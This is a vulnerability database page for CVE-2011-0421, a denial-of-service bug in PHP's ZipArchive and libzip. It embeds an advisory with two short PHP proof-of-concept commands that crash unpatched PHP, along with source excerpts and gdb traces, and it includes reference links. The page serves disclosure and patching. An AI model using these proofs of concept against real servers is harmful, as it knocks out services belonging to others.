CVE-2011-0421 : Detail

CVE-2011-0421

2.55%V3
Network
2011-03-20
00h00 +00:00
2018-10-09
16h57 +00:00
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CVE Descriptions

The _zip_name_locate function in zip_name_locate.c in the Zip extension in PHP before 5.3.6 does not properly handle a ZIPARCHIVE::FL_UNCHANGED argument, which might allow context-dependent attackers to cause a denial of service (NULL pointer dereference) via an empty ZIP archive that is processed with a (1) locateName or (2) statName operation.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 17004

Publication date : 2011-03-17 23h00 +00:00
Author : Maksymilian Arciemowicz
EDB Verified : No

Source: http://securityreason.com/securityalert/8146 libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5) Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - Dis.: 03.01.2011 - Pub.: 18.03.2011 CVE: CVE-2011-0421 CERT: VU#325039 Affected Software: - libzip 0.9.3 - PHP 5.3.5 (fixed 5.3.6) Original URL: http://securityreason.com/achievement_securityalert/96 --- 0.Description --- libzip is a C library for reading, creating, and modifying zip archives. Files can be added from data buffers, files, or compressed data copied directly from other zip archives. Changes made without closing the archive can be reverted. The API is documented by man pages. --- 1.Description --- libzip allows remote and local attackers to Denial of Service (Null Pointer Dereference) if ZIP_FL_UNCHANGED flag is set. -lib/zip_name_locate.c--- int _zip_name_locate(struct zip *za, const char *fname, int flags, struct zip_error *error) { int (*cmp)(const char *, const char *); const char *fn, *p; int i, n; if (fname == NULL) { _zip_error_set(error, ZIP_ER_INVAL, 0); return -1; } cmp = (flags & ZIP_FL_NOCASE) ? strcasecmp : strcmp; n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <= CRASH HERE -lib/zip_name_locate.c--- for empty zip file and ZIP_FL_UNCHANGED flag, libzip should crash. Currently for PHP, the security impact we estimate only like a remote DoS, so risk is low. Project using libzip: KDE Utilities (4.x branch), MySQL Workbench, ckmame, fuse-zip, php zip extension, Endeavour2, FreeDink Better analysis based on PHP code ZipArchive, bellow --- 2. PHP 5.3.5 ZipArchive() --- PoC1: php -r '$nx=new ZipArchive();$nx->open("/dev/null");$nx->locateName("a",ZIPARCHIVE::FL_UNCH ANGED);' PoC2: php -r '$nx=new ZipArchive();$nx->open("empty.zip");$nx->statName("a",ZIPARCHIVE::FL_UNCHAN GED);' Let's -php_zip.c------------------------------------- ... static ZIPARCHIVE_METHOD(locateName) { ... ZIP_FROM_OBJECT(intern, this); if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l", &name, &name_len, &flags) == FAILURE) { return; } ... idx = (long)zip_name_locate(intern, (const char *)name, flags); <=== CRASH IN THIS FUNCTION ... -php_zip.c------------------------------------- and let`s see -zip_name_locate.c------------------------------------- ZIP_EXTERN(int) zip_name_locate(struct zip *za, const char *fname, int flags) { return _zip_name_locate(za, fname, flags, &za->error); } int _zip_name_locate(struct zip *za, const char *fname, int flags, struct zip_error *error) { int (*cmp)(const char *, const char *); const char *fn, *p; int i, n; if (fname == NULL) { _zip_error_set(error, ZIP_ER_INVAL, 0); return -1; } cmp = (flags & ZIP_FL_NOCASE) ? strcmpi : strcmp; n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <=== CRASH HERE IF ZIPARCHIVE::FL_UNCHANGED for (i=0; i<n; i++) { ... -zip_name_locate.c------------------------------------- (gdb) bt #0 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x116ac70 "a", flags=32767, error=0xffffffff00000000) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 #1 0x00000000006381e6 in c_ziparchive_locateName (ht=2, return_value=0x1169418, return_value_ptr=0xffffffff, this_ptr=0x118d530, return_value_used=-176126592) at /build/buildd/php5-5.3.3/ext/zip/php_zip.c:1877 #2 0x00000000006e986a in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7eb7068) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316 #3 0x00000000006c0b00 in execute (op_array=0x1168568) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:107 ... Program received signal SIGSEGV, Segmentation fault. 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x1169400 "9223372036854775808", flags=32767, error=0xffffffff00000000) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 65 n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; (gdb) print za->cdir->nentry Cannot access memory at address 0x8 (gdb) print za->nentry $21 = 0 because (gdb) x/i $rip => 0x6407cc <_zip_name_locate+236>: mov 0x8(%rax),%eax (gdb) x/i $rax 0x0: Cannot access memory at address 0x0 (gdb) x/i $eax call to zip_name_locate (gdb) n 1877 idx = (long)zip_name_locate(intern, (const char *)name, flags); (gdb) print intern $24 = (struct zip *) 0x118d580 (gdb) x/x intern 0x118d580: 0x0118d220 (gdb) x/40x intern 0x118d580: 0x0118d220 0x00000000 0x0118d340 0x00000000 0x118d590: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5b0: 0x00000000 0x00000000 0xffffffff 0x00000000 0x118d5c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5e0: 0x00000000 0x00000000 0x00020a21 0x00000000 0x118d5f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d600: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d610: 0x00000000 0x00000000 0x00000000 0x00000000 next PoC2 $nx=new ZipArchive();$nx->open("empty.zip");$nx->statName("9223372036854775808","92 23372036854775807"); rogram received signal SIGSEGV, Segmentation fault. 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=32767, error=0xffffffffffffdac0) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 65 in /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c (gdb) bt #0 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=32767, error=0xffffffffffffdac0) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 #1 0x0000000000640a50 in zip_stat (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=-1, st=0x7fffffffda70) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_stat.c:45 #2 0x0000000000638451 in c_ziparchive_statName (ht=2, return_value=0x1169480, return_value_ptr=0xffffffff, this_ptr=0x118d530, return_value_used=-176126592) at /build/buildd/php5-5.3.3/ext/zip/php_zip.c:1818 #3 0x00000000006e986a in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7eb7068) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316 --- 3. Fix --- This issue has been fixed with PHP Team, so big thanks guys. http://www.php.net/ChangeLog-5.php#5.3.6 http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_name _locate.c?annotate=307867 --- 4. Greets --- Special thanks for Pierre Joye and Stas sp3x, Infospec, --- 5. Contact --- Author: Maksymilian Arciemowicz Email: - cxib {a\./t] securityreason [d=t} com GPG: - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://cxib.net/

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.3.5

Php>>Php >> Version 1.0

Php>>Php >> Version 2.0

Php>>Php >> Version 2.0b10

Php>>Php >> Version 3.0

Php>>Php >> Version 3.0.1

Php>>Php >> Version 3.0.2

Php>>Php >> Version 3.0.3

Php>>Php >> Version 3.0.4

Php>>Php >> Version 3.0.5

Php>>Php >> Version 3.0.6

Php>>Php >> Version 3.0.7

Php>>Php >> Version 3.0.8

Php>>Php >> Version 3.0.9

Php>>Php >> Version 3.0.10

Php>>Php >> Version 3.0.11

Php>>Php >> Version 3.0.12

Php>>Php >> Version 3.0.13

Php>>Php >> Version 3.0.14

Php>>Php >> Version 3.0.15

Php>>Php >> Version 3.0.16

Php>>Php >> Version 3.0.17

Php>>Php >> Version 3.0.18

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.5

Php>>Php >> Version 4.0.6

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.1.0

Php>>Php >> Version 4.1.1

Php>>Php >> Version 4.1.2

Php>>Php >> Version 4.2.0

Php>>Php >> Version 4.2.1

Php>>Php >> Version 4.2.2

Php>>Php >> Version 4.2.3

Php>>Php >> Version 4.3.0

Php>>Php >> Version 4.3.1

Php>>Php >> Version 4.3.2

Php>>Php >> Version 4.3.3

Php>>Php >> Version 4.3.4

Php>>Php >> Version 4.3.5

Php>>Php >> Version 4.3.6

Php>>Php >> Version 4.3.7

Php>>Php >> Version 4.3.8

Php>>Php >> Version 4.3.9

Php>>Php >> Version 4.3.10

Php>>Php >> Version 4.3.11

Php>>Php >> Version 4.4.0

Php>>Php >> Version 4.4.1

Php>>Php >> Version 4.4.2

Php>>Php >> Version 4.4.3

Php>>Php >> Version 4.4.4

Php>>Php >> Version 4.4.5

Php>>Php >> Version 4.4.6

Php>>Php >> Version 4.4.7

Php>>Php >> Version 4.4.8

Php>>Php >> Version 4.4.9

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.1

Php>>Php >> Version 5.0.2

Php>>Php >> Version 5.0.3

Php>>Php >> Version 5.0.4

Php>>Php >> Version 5.0.5

Php>>Php >> Version 5.1.0

Php>>Php >> Version 5.1.1

Php>>Php >> Version 5.1.2

Php>>Php >> Version 5.1.3

Php>>Php >> Version 5.1.4

Php>>Php >> Version 5.1.5

Php>>Php >> Version 5.1.6

Php>>Php >> Version 5.2.0

Php>>Php >> Version 5.2.1

Php>>Php >> Version 5.2.2

Php>>Php >> Version 5.2.3

Php>>Php >> Version 5.2.4

Php>>Php >> Version 5.2.4

    Php>>Php >> Version 5.2.5

    Php>>Php >> Version 5.2.6

    Php>>Php >> Version 5.2.7

    Php>>Php >> Version 5.2.8

    Php>>Php >> Version 5.2.9

    Php>>Php >> Version 5.2.10

    Php>>Php >> Version 5.2.11

    Php>>Php >> Version 5.2.12

    Php>>Php >> Version 5.2.13

    Php>>Php >> Version 5.2.14

    Php>>Php >> Version 5.2.15

    Php>>Php >> Version 5.2.16

    Php>>Php >> Version 5.2.17

    Php>>Php >> Version 5.3.0

    Php>>Php >> Version 5.3.1

    Php>>Php >> Version 5.3.2

    Php>>Php >> Version 5.3.3

    Php>>Php >> Version 5.3.4

    References

    http://www.mandriva.com/security/advisories?name=MDVSA-2011:099
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://marc.info/?l=bugtraq&m=133469208622507&w=2
    Tags : vendor-advisory, x_refsource_HP
    http://www.vupen.com/english/advisories/2011/0764
    Tags : vdb-entry, x_refsource_VUPEN
    http://securityreason.com/securityalert/8146
    Tags : third-party-advisory, x_refsource_SREASON
    http://secunia.com/advisories/43621
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.mandriva.com/security/advisories?name=MDVSA-2011:053
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://www.debian.org/security/2011/dsa-2266
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.vupen.com/english/advisories/2011/0890
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.php.net/releases/5_3_6.php
    Tags : x_refsource_CONFIRM
    http://securityreason.com/achievement_securityalert/96
    Tags : third-party-advisory, x_refsource_SREASONRES
    http://www.php.net/ChangeLog-5.php
    Tags : x_refsource_CONFIRM
    http://www.php.net/archive/2011.php
    Tags : x_refsource_CONFIRM
    http://marc.info/?l=bugtraq&m=133469208622507&w=2
    Tags : vendor-advisory, x_refsource_HP
    http://www.exploit-db.com/exploits/17004
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.mandriva.com/security/advisories?name=MDVSA-2011:052
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://www.vupen.com/english/advisories/2011/0744
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.securityfocus.com/bid/46354
    Tags : vdb-entry, x_refsource_BID
    http://support.apple.com/kb/HT5002
    Tags : x_refsource_CONFIRM
    http://bugs.php.net/bug.php?id=53885
    Tags : x_refsource_CONFIRM